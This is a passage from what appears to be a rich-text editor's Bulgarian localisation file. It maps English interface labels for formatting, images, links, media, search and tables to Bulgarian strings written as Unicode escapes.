"Clear formatting": "\u0418\u0437\u0447\u0438\u0441\u0442\u0432\u0430\u043d\u0435 \u043d\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e",
"Align left": "\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u043b\u044f\u0432\u043e",
"Align center": "\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u0435",
"Align right": "\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u0434\u044f\u0441\u043d\u043e",
"Justify": "\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"Bullet list": "\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u0432\u043e\u0434\u0430\u0447\u0438",
"Numbered list": "\u041d\u043e\u043c\u0435\u0440\u0438\u0440\u0430\u043d \u0441\u043f\u0438\u0441\u044a\u043a",
"Decrease indent": "\u041d\u0430\u043c\u0430\u043b\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430",
"Increase indent": "\u0423\u0432\u0435\u043b\u0438\u0447\u0430\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430",
"Close": "\u0417\u0430\u0442\u0432\u0430\u0440\u044f\u043d\u0435",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448\u0438\u044f\u0442 \u0431\u0440\u0430\u0443\u0437\u044a\u0440 \u043d\u0435 \u043f\u043e\u0434\u0434\u044a\u0440\u0436\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u0435\u043d \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e \u043a\u043b\u0438\u043f\u0431\u043e\u0440\u0434\u0430. \u0412\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0432\u0430 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u043d\u0438\u0442\u0435 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438 Ctrl+X (\u0437\u0430 \u0438\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435), Ctrl+C (\u0437\u0430 \u043a\u043e\u043f\u0438\u0440\u0430\u043d\u0435) \u0438 Ctrl+V (\u0437\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435).",
"Headers": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u044f",
"Header 1": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",
"Header 2": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",
"Header 3": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",
"Header 4": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",
"Header 5": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",
"Header 6": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",
"Headings": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u044f",
"Heading 1": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",
"Heading 2": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",
"Heading 3": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",
"Heading 4": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",
"Heading 5": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",
"Heading 6": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",
"Preformatted": "\u041f\u0440\u0435\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d",
"Div": "\u0411\u043b\u043e\u043a",
"Pre": "\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u0435\u043d \u0442\u0435\u043a\u0441\u0442",
"Code": "\u041a\u043e\u0434",
"Paragraph": "\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442",
"Inline": "\u041d\u0430 \u0435\u0434\u0438\u043d \u0440\u0435\u0434",
"Blocks": "\u0411\u043b\u043e\u043a\u043e\u0432\u0435",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435\u0442\u043e \u0432 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0435 \u0432 \u043e\u0431\u0438\u043a\u043d\u043e\u0432\u0435\u043d \u0440\u0435\u0436\u0438\u043c. \u0421\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435\u0442\u043e \u0449\u0435 \u0431\u044a\u0434\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0435\u043d\u043e \u043a\u0430\u0442\u043e \u043d\u0435\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d \u0442\u0435\u043a\u0441\u0442, \u0434\u043e\u043a\u0430\u0442\u043e \u0438\u0437\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0442\u0430\u0437\u0438 \u043e\u043f\u0446\u0438\u044f.",
"Fonts": "\u0428\u0440\u0438\u0444\u0442\u043e\u0432\u0435",
"Font Sizes": "\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430",
"Class": "\u041a\u043b\u0430\u0441",
"Browse for an image": "\u041f\u043e\u0442\u044a\u0440\u0441\u0435\u0442\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"OR": "\u0418\u041b\u0418",
"Drop an image here": "\u041f\u0443\u0441\u043d\u0435\u0442\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u0442\u043e \u0442\u0443\u043a",
"Upload": "\u041a\u0430\u0447\u0432\u0430\u043d\u0435",
"Block": "\u0411\u043b\u043e\u043a",
"Align": "\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"Default": "\u041f\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043d\u0435",
"Circle": "\u041e\u043a\u0440\u044a\u0436\u043d\u043e\u0441\u0442\u0438",
"Disc": "\u041a\u0440\u044a\u0433\u0447\u0435\u0442\u0430",
"Square": "\u0417\u0430\u043f\u044a\u043b\u043d\u0435\u043d\u0438 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u0438",
"Lower Alpha": "\u041c\u0430\u043b\u043a\u0438 \u0431\u0443\u043a\u0432\u0438",
"Lower Greek": "\u041c\u0430\u043b\u043a\u0438 \u0433\u0440\u044a\u0446\u043a\u0438 \u0431\u0443\u043a\u0432\u0438",
"Lower Roman": "\u0420\u0438\u043c\u0441\u043a\u0438 \u0447\u0438\u0441\u043b\u0430 \u0441 \u043c\u0430\u043b\u043a\u0438 \u0431\u0443\u043a\u0432\u0438",
"Upper Alpha": "\u0413\u043b\u0430\u0432\u043d\u0438 \u0431\u0443\u043a\u0432\u0438",
"Upper Roman": "\u0420\u0438\u043c\u0441\u043a\u0438 \u0447\u0438\u0441\u043b\u0430 \u0441 \u0433\u043b\u0430\u0432\u043d\u0438 \u0431\u0443\u043a\u0432\u0438",
"Anchor...": "\u041a\u043e\u0442\u0432\u0430...",
"Name": "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435",
"Id": "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 (id)",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 (id) \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0437\u0430\u043f\u043e\u0447\u0432\u0430 \u0441 \u0431\u0443\u043a\u0432\u0430, \u043f\u043e\u0441\u043b\u0435\u0434\u0432\u0430\u043d \u043e\u0442 \u0431\u0443\u043a\u0432\u0438, \u0447\u0438\u0444\u0440\u0438, \u0442\u0438\u0440\u0435\u0442\u0430, \u0442\u043e\u0447\u043a\u0438, \u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u0435 \u0438 \u0434\u043e\u043b\u043d\u043e \u0442\u0438\u0440\u0435.",
"You have unsaved changes are you sure you want to navigate away?": "\u0412 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0438\u043c\u0430 \u043d\u0435\u0437\u0430\u043f\u0430\u0437\u0435\u043d\u0438 \u043f\u0440\u043e\u043c\u0435\u043d\u0438. \u0429\u0435 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u043b\u0438?",
"Restore last draft": "\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0430\u0442\u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0430",
"Special character...": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0435\u043d \u0441\u0438\u043c\u0432\u043e\u043b...",
"Source code": "\u0418\u0437\u0445\u043e\u0434\u0435\u043d \u043a\u043e\u0434 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 HTML",
"Insert\/Edit code sample": "\u0412\u043c\u044a\u043a\u043d\u0438\/ \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043f\u0440\u0438\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434",
"Language": "\u0415\u0437\u0438\u043a",
"Code sample...": "\u041f\u0440\u0438\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434...",
"Color Picker": "\u0418\u0437\u0431\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0446\u0432\u044f\u0442",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430\u0434\u044f\u0441\u043d\u043e",
"Right to left": "\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430\u043b\u044f\u0432\u043e",
"Emoticons...": "\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438...",
"Metadata and Document Properties": "\u041c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u0438 \u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title": "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435",
"Keywords": "\u041a\u043b\u044e\u0447\u043e\u0432\u0438 \u0434\u0443\u043c\u0438",
"Description": "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438 \u043d\u0430 \u0443\u0435\u0431 \u0442\u044a\u0440\u0441\u0430\u0447\u043a\u0438",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Encoding": "\u041a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0437\u043d\u0430\u0446\u0438\u0442\u0435",
"Fullscreen": "\u041d\u0430 \u0446\u044f\u043b \u0435\u043a\u0440\u0430\u043d",
"Action": "\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0435",
"Shortcut": "\u0411\u044a\u0440\u0437 \u043a\u043b\u0430\u0432\u0438\u0448",
"Help": "\u041f\u043e\u043c\u043e\u0449",
"Address": "\u0410\u0434\u0440\u0435\u0441",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "\u041f\u043e\u0441\u0442\u0430\u0432\u0438 \u0432\u0440\u044a\u0437\u043a\u0430 (\u0430\u043a\u043e \u043f\u043b\u044a\u0433\u0438\u043d\u0430 \u0437\u0430 \u0432\u0440\u044a\u0437\u043a\u0438 \u0435 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0430\u043d)",
"Save (if save plugin activated)": "\u0417\u0430\u043f\u0438\u0448\u0438 (\u0430\u043a\u043e \u043f\u043b\u044a\u0433\u0438\u043d\u0430 \u0437\u0430 \u0437\u0430\u043f\u0438\u0441 \u0435 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0430\u043d)",
"Find (if searchreplace plugin activated)": "\u041d\u0430\u043c\u0435\u0440\u0438 (\u0430\u043a\u043e \u043f\u043b\u044a\u0433\u0438\u043d\u0430 \u0437\u0430 \u0442\u044a\u0440\u0441\u0435\u043d\u0435\/\u0437\u0430\u043c\u044f\u043d\u0430 \u0435 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0430\u043d)",
"Plugins installed ({0}):": "\u0418\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0438 \u043f\u043b\u044a\u0433\u0438\u043d\u0438 ({0}):",
"Premium plugins:": "\u041f\u0440\u0435\u043c\u0438\u0439\u043d\u0438 \u043f\u043b\u044a\u0433\u0438\u043d\u0438:",
"Learn more...": "\u041d\u0430\u0443\u0447\u0435\u0442\u0435 \u043f\u043e\u0432\u0435\u0447\u0435...",
"You are using {0}": "\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0442\u0435 {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u0447\u0435\u0440\u0442\u0430",
"Insert\/edit image": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u043a\u043e\u0440\u0435\u043a\u0446\u0438\u044f \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",
"Image description": "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u0442\u043e",
"Source": "\u0410\u0434\u0440\u0435\u0441",
"Dimensions": "\u0420\u0430\u0437\u043c\u0435\u0440",
"Constrain proportions": "\u0417\u0430\u0432\u0430\u0437\u043d\u0430\u0432\u0435 \u043d\u0430 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438\u0442\u0435",
"General": "\u041e\u0431\u0449\u043e",
"Advanced": "\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e",
"Style": "\u0421\u0442\u0438\u043b",
"Vertical space": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e",
"Horizontal space": "\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e",
"Border": "\u041a\u0430\u043d\u0442 (\u0440\u0430\u043c\u043a\u0430)",
"Insert image": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Image...": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435...",
"Image list": "\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438",
"Rotate counterclockwise": "\u0417\u0430\u0432\u044a\u0440\u0442\u0430\u043d\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043d\u0430 \u0447\u0430\u0441\u043e\u0432\u043d\u0438\u043a\u0430",
"Rotate clockwise": "\u0417\u0430\u0432\u044a\u0440\u0442\u0430\u043d\u0435 \u043f\u043e \u0447\u0430\u0441\u043e\u0432\u043d\u0438\u043a\u0430",
"Flip vertically": "\u041e\u0431\u044a\u0440\u043d\u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e",
"Flip horizontally": "\u041e\u0431\u044a\u0440\u043d\u0438 \u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e",
"Edit image": "\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u0442\u043e",
"Image options": "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u0442\u043e",
"Zoom in": "\u041f\u0440\u0438\u0431\u043b\u0438\u0436\u0438",
"Zoom out": "\u041e\u0442\u0434\u0430\u043b\u0435\u0447\u0438",
"Crop": "\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435",
"Resize": "\u041f\u0440\u0435\u043e\u0440\u0430\u0437\u043c\u0435\u0440\u044f\u0432\u0430\u043d\u0435",
"Orientation": "\u041e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u044f",
"Brightness": "\u042f\u0440\u043a\u043e\u0441\u0442",
"Sharpen": "\u0418\u0437\u043e\u0441\u0442\u0440\u044f\u043d\u0435",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Color levels": "\u0426\u0432\u0435\u0442\u043d\u0438 \u043d\u0438\u0432\u0430",
"Gamma": "\u0413\u0430\u043c\u0430",
"Invert": "\u0418\u043d\u0432\u0435\u0440\u0441\u0438\u044f",
"Apply": "\u041f\u0440\u0438\u043b\u043e\u0436\u0438",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Insert date\/time": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0434\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Date\/time": "\u0414\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Insert\/Edit Link": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430 (\u043b\u0438\u043d\u043a)",
"Insert\/edit link": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u043a\u043e\u0440\u0435\u043a\u0446\u0438\u044f \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430 (\u043b\u0438\u043d\u043a)",
"Text to display": "\u0422\u0435\u043a\u0441\u0442",
"Url": "\u0410\u0434\u0440\u0435\u0441 (URL)",
"Open link in...": "\u041e\u0442\u0432\u0430\u0440\u044f\u043d\u0435 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430 \u0432...",
"Current window": "\u0422\u0435\u043a\u0443\u0449 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446",
"None": "\u0411\u0435\u0437",
"New window": "\u0412 \u043d\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 (\u043f\u043e\u0434\u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446)",
"Remove link": "\u041f\u0440\u0435\u043c\u0430\u0445\u0432\u0430\u043d\u0435 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430",
"Anchors": "\u041a\u043e\u0442\u0432\u0438",
"Link...": "\u0425\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430...",
"Paste or type a link": "\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u0442\u0435 \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0448\u0435\u0442\u0435 \u0432\u0440\u044a\u0437\u043a\u0430(\u043b\u0438\u043d\u043a)",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL \u0430\u0434\u0440\u0435\u0441\u044a\u0442, \u043a\u043e\u0439\u0442\u043e \u0432\u044a\u0432\u0434\u043e\u0445\u0442\u0435 \u043f\u0440\u0438\u043b\u0438\u0447\u0430 \u043d\u0430 \u0435-\u043c\u0435\u0439\u043b \u0430\u0434\u0440\u0435\u0441. \u0418\u0441\u043a\u0430\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0438\u044f mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL \u0430\u0434\u0440\u0435\u0441\u044a\u0442, \u043a\u043e\u0439\u0442\u043e \u0432\u044a\u0432\u0434\u043e\u0445\u0442\u0435 \u043f\u0440\u0438\u043b\u0438\u0447\u0430 \u0432\u044a\u043d\u0448\u0435\u043d \u0430\u0434\u0440\u0435\u0441. \u0418\u0441\u043a\u0430\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0438\u044f http:\/\/ \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",
"Link list": "\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u0432\u0440\u044a\u0437\u043a\u0438",
"Insert video": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit video": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u043a\u043e\u0440\u0435\u043a\u0446\u0438\u044f \u043d\u0430 \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit media": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u043c\u0435\u0434\u0438\u044f",
"Alternative source": "\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0430\u0434\u0440\u0435\u0441",
"Alternative source URL": "\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0430\u0434\u0440\u0435\u0441 URL",
"Media poster (Image URL)": "\u041c\u0435\u0434\u0438\u0435\u043d \u043f\u043b\u0430\u043a\u0430\u0442 (\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 URL)",
"Paste your embed code below:": "\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u0442\u0435 \u043a\u043e\u0434\u0430 \u0437\u0430 \u0432\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0435 \u0432 \u043f\u043e\u043b\u0435\u0442\u043e \u043f\u043e-\u0434\u043e\u043b\u0443:",
"Embed": "\u0412\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0435",
"Media...": "\u041c\u0435\u0434\u0438\u044f...",
"Nonbreaking space": "\u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Page break": "\u041d\u043e\u0432\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430",
"Paste as text": "\u041f\u043e\u0441\u0442\u0430\u0432\u0438 \u043a\u0430\u0442\u043e \u0442\u0435\u043a\u0441\u0442",
"Preview": "\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u0435\u043d \u0438\u0437\u0433\u043b\u0435\u0434",
"Print...": "\u041e\u0442\u043f\u0435\u0447\u0430\u0442\u0432\u0430\u043d\u0435...",
"Save": "\u0421\u044a\u0445\u0440\u0430\u043d\u044f\u0432\u0430\u043d\u0435",
"Find": "\u0422\u044a\u0440\u0441\u0435\u043d\u0435 \u0437\u0430",
"Replace with": "\u0417\u0430\u043c\u044f\u043d\u0430 \u0441",
"Replace": "\u0417\u0430\u043c\u044f\u043d\u0430",
"Replace all": "\u0417\u0430\u043c\u044f\u043d\u0430 \u043d\u0430 \u0432\u0441\u0438\u0447\u043a\u0438 \u0441\u0440\u0435\u0449\u0430\u043d\u0438\u044f",
"Previous": "\u041f\u0440\u0435\u0434\u0438\u0448\u0435\u043d",
"Next": "\u0421\u043b\u0435\u0434\u0432\u0430\u0449",
"Find and replace...": "\u041d\u0430\u043c\u0438\u0440\u0430\u043d\u0435 \u0438 \u0437\u0430\u043c\u044f\u043d\u0430...",
"Could not find the specified string.": "\u0422\u044a\u0440\u0441\u0435\u043d\u0438\u044f\u0442 \u0442\u0435\u043a\u0441\u0442 \u043d\u0435 \u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d.",
"Match case": "\u0421\u044a\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u044a\u0440\u0430 (\u043c\u0430\u043b\u043a\u0438\/\u0433\u043b\u0430\u0432\u043d\u0438 \u0431\u0443\u043a\u0432\u0438)",
"Find whole words only": "\u0422\u044a\u0440\u0441\u0435\u043d\u0435 \u0441\u0430\u043c\u043e \u043d\u0430 \u0446\u0435\u043b\u0438 \u0434\u0443\u043c\u0438",
"Spell check": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430",
"Ignore": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u043d\u0435",
"Ignore all": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0432\u0441\u0438\u0447\u043a\u043e",
"Finish": "\u041a\u0440\u0430\u0439",
"Add to Dictionary": "\u0414\u043e\u0431\u0430\u0432\u0438 \u0432 \u0440\u0435\u0447\u043d\u0438\u043a\u0430",
"Insert table": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430",
"Table properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",
"Delete table": "\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",
"Cell": "\u041a\u043b\u0435\u0442\u043a\u0430",
"Row": "\u0420\u0435\u0434",
"Column": "\u041a\u043e\u043b\u043e\u043d\u0430",
"Cell properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430",
"Merge cells": "\u0421\u043b\u0438\u0432\u0430\u043d\u0435 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",
"Split cell": "\u0420\u0430\u0437\u0434\u0435\u043b\u044f\u043d\u0435 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430",
"Insert row before": "\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434 \u043f\u0440\u0435\u0434\u0438",
"Insert row after": "\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434 \u0441\u043b\u0435\u0434",
"Delete row": "\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434\u0430",
"Row properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0440\u0435\u0434\u0430",
"Cut row": "\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434",
"Copy row": "\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434",
"Paste row before": "\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434 \u043f\u0440\u0435\u0434\u0438",
"Paste row after": "\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0430 \u0440\u0435\u0434 \u0441\u043b\u0435\u0434",
"Insert column before": "\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043a\u043e\u043b\u043e\u043d\u0430 \u043f\u0440\u0435\u0434\u0438",
"Insert column after": "\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043a\u043e\u043b\u043e\u043d\u0430 \u0441\u043b\u0435\u0434",
"Delete column": "\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435 \u043d\u0430 \u043a\u043e\u043b\u043e\u043d\u0430\u0442\u0430",
"Cols": "\u041a\u043e\u043b\u043e\u043d\u0438",
"Rows": "\u0420\u0435\u0434\u043e\u0432\u0435",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Height": "\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",
